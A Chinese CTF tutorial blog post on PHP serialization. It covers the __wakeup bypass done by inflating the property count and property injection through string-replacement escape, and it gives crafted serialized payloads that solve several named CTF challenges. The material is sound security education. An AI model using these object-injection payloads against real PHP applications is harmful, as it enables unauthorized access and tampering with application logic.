PHP序列化及反序列化绕过

前言

本菜鸡本着菜死人不偿命的觉悟,接着迈向了ctf的世界。
废话不多说,今天来谈一下PHP的序列化和反序列化还有一些绕过姿势

序列化和反序列化

序列化

在PHP里面存在一个serialize方法来实现序列化功能。

Serializable {
/* 方法 */
abstract public serialize ( ) : string
abstract public unserialize ( string $serialized ) : mixed
}

在官方说明中提供了这个接口的摘要。
接下来用本地实验的例子来说明一下序列化结果的大致格式

<?php
$init=12;
echo serialize($init).'<br />';//序列化整形数据,得到格式为i:12;
$string='test';
echo serialize($string).'<br />';//序列化字符串型数据,得到格式为s:4:"test";
$boolean=false;
echo serialize($boolean).'<br />';//序列化布尔类型数据,得到格式为b:0;
$array = array('0' =>'array');
echo serialize($array).'<br />';//序列化数组类型数据,得到格式为a:1:{i:0;s:5:"array";}
?>

运行结果
所以,经过试验可以得出:
iinteger代表的是整型的数据,其数据的范围-2147483648~2147483647,而其后面跟的12就是这个变量的值;
sstring代表的是字符串类型的数据,后面跟的4为变量的字符个数,之后跟的是变量的值;
bbool代表的是布尔类型的数据,而布尔类型的数据只有falsetrue两种,返回时只会返回01
aarray代表的是数组类型的数据,可以看到有一个花括号,前面半部分是索引值,代表的是数组索引是从0开始,后面是当前索引位置的数据的类型和值。
关于其他的,就不在这里进行总结,总结几个比较常见的。
当然还有就是PHP语言特性,可以把整个方法或者整个类给序列化,这时的格式就是O开头了。

<?php
/*$init=12;
echo serialize($init).'<br />';
$string='test';
echo serialize($string).'<br />';
$boolean=false;
echo serialize($boolean).'<br />';
$array = array('0' =>'array');
echo serialize($array).'<br />';*/
/**
 * 
 */
class test
{
	public $username;
	public $password;
	public function __construct($username,$password)
	{
		# code...
		$this->username=$username;
		$this->password=$password;
	}
	public function __wakeup()
	{
		if ($this->username==='zhangsan'&&this->$password==='123456') {
			# code...
			echo "flag{nice!}";
		}
		else
		{
			echo "stop hacker!";
		}
	}
}
$username='zhangsan';
$password='123456';
$a=new test($username,$password);
echo serialize($a);
?>

得到结果
序列化类结果

反序列化

既然有了序列化函数serialize,那反序列化函数就能猜出来是unserialize
在这里需要注意的是若被反序列化的变量是一个对象,在成功重新构造对象之后,PHP会自动地试图去调用__wakeup()成员函数(如果存在的话)
也就是说比如在上面的例子中,若加入

$b=serialize($a);
$test=unserialize($b);

那么就会得到
得到结果
即在检测到这个反序列化对象是个类之后,发现有__wakeup()函数,会执行这个函数。而在源码中是执行了让一个if判断,满足输出指定内容。在这里也可以进行一个修改序列化的值,从而达到相关的目的。

反序列化绕过

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,并且不会报错,可以被正常反序列化

也就是说,在实际题目中,可以通过修改指定的值使其大于原值,从而达到绕过的目的。
也就是说假如现在有一串这个代码。

<?php
class test
{
	public $a='flag{nice!}';
	public function __wakeup()
	{
		echo $this->a='go out,hacker!';
	}
	public function __destruct()
	{
		echo $this->a;
	}
}
$a='O:4:"test":1:{s:1:"a";s:11:"flag{nice!}";}';
$b=unserialize($a);
?>

大致的题目意思就是有一个类,里面的变量a为flag字符串,然后需要输出,但是在上面说的会调用wakeup函数,导致无法输出flag字符串。即
正常输出
但是现在需要输出它,所以就可以用上面说的方法来绕过wakeup函数,即构造payload为a=O:4:"test":2:{s:1:"a";s:11:"flag{nice!}";}
此时输出为
要求输出
从而达到了绕过的想法。

序列化利用

反序列化可以绕过,同样序列化也可以进行利用。
假如现在的代码为

<?php
class a
{
	public $username;
	public $password;
	public function __construct($username,$password)
	{
		$this->username=$username;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->username==='zhangsan')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('hahaha','heyheyhey',$string);
}
$username='lisi';
$password=$_GET[1];
$ser=filter(serialize(new a($username,$password)));
$test=unserialize($ser);
?>

通过源码知需要绕过wakeup函数里的if判断,然后执行语句,但是username变量值被写死,因此这时候就可以利用序列化进行操作。
首先对类进行序列化查看一下
序列化结果

发现本应该是hahaha的变成了heyheyhey
然后构造一下payload的一部分:";s:8:"username";s:8:"zhangsan";}共30个字符,然后字符替换是有3个字符,所以应该构造最终payload为:hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha";s:8:"username";s:8:"zhangsan";}
运行结果
结果
发现username值被成功改为zhangsan。说明成功。
所以效果最终为:
最终结果

注意:如果在本地实验中发现修改之后页面提示错误的,可以在源码里加一个函数
function mb_unserialize($serial_str) {
$out = preg_replace('!s:(\d+):"(.*?)";!se', "'s:'.strlen('$2').':\"$2\";'", $serial_str );
return unserialize($out);
}

是在报 unserialize(): Error at offset 124 of 181 bytes in错误时可以尝试这个自建函数来进行实验。

ctf题目实例

攻防世界 unserialize3

打开题目,发现源码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

所以,根据上面讲的,可以直接将flag字符串那一列进行序列化,然后修改值得到flag。
先序列化得到O:4:"xctf":1:{s:4:"flag";s:3:"111";},修改得O:4:"xctf":2:{s:4:"flag";s:3:"111";}
flag

攻防世界 Web_php_unserialize

打开题目
源码
同样,修改一下,进行序列化,然后O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";},然后修改得到O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},这里注意还需要一次base64编码才能得到。

ctfshow 月饼杯第一题次夜圆

具体源码和上面那个序列化利用是一样的,也可以说上面的序列化利用中举的例子就是这个题目,按照上面得方法,构造最终payload为:?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";},提交得到flag。
得到flag

尾言

还是经常说的那句话,自己总结的只是一些入门的东西,更加深刻得方面需要慢慢学习下去,努力下去,一切都有可能,加油。

  • 4
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
PHP 中,`__construct` 是一个特殊的魔术方法,用于在创建类的新实例时进行初始化操作。如果你想绕过 `__construct` 方法,可以尝试以下方法之一: 1. 使用反射类:使用反射类可以绕过构造函数并创建类的实例。下面是一个示例代码: ```php class MyClass { private $property; public function __construct($value) { $this->property = $value; } public function getProperty() { return $this->property; } } $reflection = new ReflectionClass('MyClass'); $instance = $reflection->newInstanceWithoutConstructor(); // 绕过构造函数创建实例 $instance->property = 'new value'; // 设置属性值 echo $instance->getProperty(); // 输出属性值 ``` 2. 使用 `unserialize` 函数:如果你有一个序列化的类实例,并且想绕过构造函数来还原对象,可以使用 `unserialize` 函数。下面是一个示例代码: ```php class MyClass { private $property; public function __construct($value) { $this->property = $value; } public function getProperty() { return $this->property; } } $serializedObject = 'O:7:"MyClass":1:{s:8:"property";s:9:"old value";}'; // 序列化的对象 $instance = unserialize($serializedObject, ['allowed_classes' => true]); // 绕过构造函数还原对象 $instance->property = 'new value'; // 设置属性值 echo $instance->getProperty(); // 输出属性值 ``` 请注意,绕过构造函数可能会导致对象状态不一致或出现未定义的行为。在绕过构造函数时,要确保你了解所创建的对象的要求和预期行为,并相应地进行设置。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值